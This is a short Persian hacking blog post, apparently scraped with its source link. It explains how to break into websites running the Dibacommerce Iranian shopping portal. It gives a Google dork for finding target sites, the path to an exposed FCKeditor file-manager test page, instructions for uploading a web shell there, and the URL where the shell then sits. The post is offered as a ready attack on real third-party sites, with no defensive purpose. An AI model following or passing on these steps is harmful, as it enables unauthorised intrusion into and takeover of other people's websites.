سلام دوستان
امروز شما را به جدیدترین باگ در پرتال ایرانی بنام که عموماه بصورت فروشاهای هست آشنا می کنیم .
خب اول در گوگل عبارت زیر را در صفحات فارسی آن جستجو کنید .
"Powered by : Dibacommerce"
خب حالا یکی از سایت های زیر را انتخاب کرده و آدرس زیر را بهش اضافه کنید
path/admin/fckeditor/editor/filemanager/connectors/test.html
اگه سایت مورد نظر مثلا www.site.com باشد شما باید اکسپلویت شما باید اینطور باشه
www.site.com/path/admin/fckeditor/editor/filemanager/connectors/test.html
حالا فایل شل را خود را آپلود کنید و می تونید شل را در مسیر زیر پیدا کنید
www.site.com/path/images/file/yourfile
EXbloglor.comEX<-m->http://kamyab-hacking.blogfa.com/post-19.aspx<-mm->باگ خطرناک در پرتال Dibacommerce<-mmm->